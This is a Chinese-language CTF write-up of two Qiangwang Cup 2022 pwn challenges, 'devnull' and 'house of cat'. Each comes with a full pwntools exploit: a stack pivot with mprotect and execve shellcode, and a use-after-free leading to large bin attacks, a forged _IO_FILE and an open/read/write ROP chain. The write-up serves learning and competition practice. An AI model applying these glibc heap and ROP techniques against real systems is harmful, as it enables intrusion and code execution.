0%

强网杯2022pwn题复现

强网杯2022部分pwn题复现

devnull

QQ截图20220813110725

一开始fgets读入可以使fd为0,后面的read就是我们标准输入的了,第一次read用于栈迁移,第二次用于读入我们的payload

可以看到是没有可执行权限的,不过程序有mprotect,可以用来改权限

接下来就是参数的问题了,rdx在最后输出thanks\n之后刚好为7

找到这段gadget可以控制rsi,而rdi可以由rax控制,接下来去找可以控制rax的gadget

通过ROPgadget找到如下gadget,把rbp溢出为一段可写的地址即可

需要注意的是程序关闭的标准输出流,我们可以使用命令exec 1>&2来将标准输出和标准错误给绑定到一起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
binary = "./devnull"
elf = ELF(binary)
ip = '1.14.71.254'
port = 28834
local = 1
if local:
io = process(binary)
else:
io = remote(ip, port)

context.log_level = "debug"
context(arch = 'amd64', os = 'linux')
def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

#fd -> 0
sa(b'please input your filename', b'a' * 0x20)

write_able = 0x3fc000 + 0x1000
leave_ret = 0x401354
mprotect = 0x4012D0 # mov esi, 0x1000; mov rdi, rax; call _mprotect; nop; pop rbp; ret
magic = 0x401350 #mov rax, rbp - 0x18;leave_ret

'''gdb.attach(io, 'b* 0x401463')
pause()'''
payload = b'a' * 0x14 + p64(write_able) + p64(write_able + 0x18) + p64(magic)
sa(b'Please write the data you want to discard', payload)


payload = p64(write_able) + b'/bin/sh\x00' * 3 + p64(mprotect) + p64(0) + p64(write_able + 0x38) + asm(shellcraft.execve(write_able + 8, 0, 0))
sa(b'please input your new data', payload)
sl(b'exec 1>&2')
ia()

house of cat

禁用了execve,程序会检查read的fd是否为0,这里可以先close(0)再open,这样flag的fd就为0了

只有两次edit的机会,删除堆块的时候指针未置0,uaf

利用思路:

  1. 利用uaf泄露libc基址和堆地址
  2. 伪造_IO_FLE
  3. 第一次large bin attck打stderr
  4. 第二次large bin attack打top chunk size
  5. 触发__malloc_assert进入house of cat 的利用链
  6. 执行orw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from pwn import *
binary = "./house_of_cat"
elf = ELF(binary)
ip = '1.14.71.254'
port = 28834
local = 1
if local:
io = process(binary)
else:
io = remote(ip, port)

#context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800


sa(b"mew mew mew~~~~~~", b"LOGIN | r00t QWBQWXF admin")



def add(idx, size, con = b'a'):
sa(b"mew mew mew~~~~~~", b"CAT | r00t QWBQWXF $\xff\xff\xff\xff")
sa(b':\n', b'1')
sla(b'idx:', str(idx))
sla(b'size:', str(size))
sa(b'content:', con)

def delete(idx):
sa(b"mew mew mew~~~~~~", b"CAT | r00t QWBQWXF $\xff\xff\xff\xff")
sa(b':\n', b'2')
sla(b'idx:', str(idx))

def show(idx):
sa(b"mew mew mew~~~~~~", b"CAT | r00t QWBQWXF $\xff\xff\xff\xff")
sa(b':\n', b'3')
sla(b'idx:', str(idx))

def edit(idx, con):
sa(b"mew mew mew~~~~~~", b"CAT | r00t QWBQWXF $\xff\xff\xff\xff")
sa(b':\n', b'4')
sla(b'idx:', str(idx))
sa(b'content:', con)

add(0,0x420)
add(1,0x418, b'flag')
add(2,0x418)

delete(0)
#0 -> large bin
add(3,0x430)
show(0)

libcbase = uu64() - 0x21a0d0
setcontext = libcbase + 0x53A6D
IO_wfile_jumps = libcbase + 0x2160c0
stderr = libcbase + 0x21a860
open_addr = libcbase + 0x114690
write_addr = libcbase + 0x114a20
read_addr = libcbase + 0x114980
close_addr = libcbase + 0x115100

lg('libcbase')
lg('setcontext')
lg('IO_wfile_jumps')
lg('stderr')
io.recv(10)
heapbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x290
lg('heapbase')
flag_addr = heapbase + 0x6d0
lg('flag_addr')

pop_rdi = libcbase + 0x2a3e5
pop_rsi = libcbase + 0x2be51
pop_rdx_r12 = libcbase + 0x11f497
pop_rax = libcbase + 0x45eb0
ret = libcbase + 0x29cd6
syscall = libcbase + 0x91396

fake_io_addr = heapbase + 0xae0 #2
rop_addr = heapbase + 0x1350
next_chain = 0
fake_IO_FILE = p64(0)*6
fake_IO_FILE += p64(1)+p64(0)#
fake_IO_FILE += p64(fake_io_addr + 0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE += p64(setcontext)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapbase) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps + 0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr + 0x40) # rax2_addr

payload = fake_IO_FILE + p64(flag_addr) + p64(0) * 6 + p64(rop_addr) + p64(ret)
delete(2)
add(5, 0x418, payload) #4 && 2 uaf

#large bin attack stderr
edit(0, p64(libcbase + 0x21a0d0) * 2 + p64(0) + p64(stderr - 0x20))
delete(2)

orw = p64(pop_rdi) + p64(0) + p64(close_addr) #close(0) fd->0
orw += p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(syscall) #open(flag, 0)
orw += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(heapbase) + p64(pop_rdx_r12) + p64(0x30) * 2 + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)

add(6, 0x440, orw)

#large bin attack top chunk size
add(4, 0x440)

add(7, 0x438)
add(8, 0x430)
add(9, 0x438)

delete(4)
add(10, 0x450)
#edit(4, p64(libcbase + 0x21a0e0) * 2 + p64(0) + p64(heapbase + 0x3160 - 0x20))
delete(8)
edit(4, p64(libcbase + 0x21a0e0) * 2 + p64(0) + p64(heapbase + 0x2d00 + 3 - 0x20))


sa(b"mew mew mew~~~~~~", b"CAT | r00t QWBQWXF $\xff\xff\xff\xff")
sa(b':\n', b'1')
sla(b'idx:', str(11))
'''gdb.attach(io,'b* (_IO_wfile_seekoff)')
pause()'''
sla(b'size:', str(0x468))
ia()

成功打出flag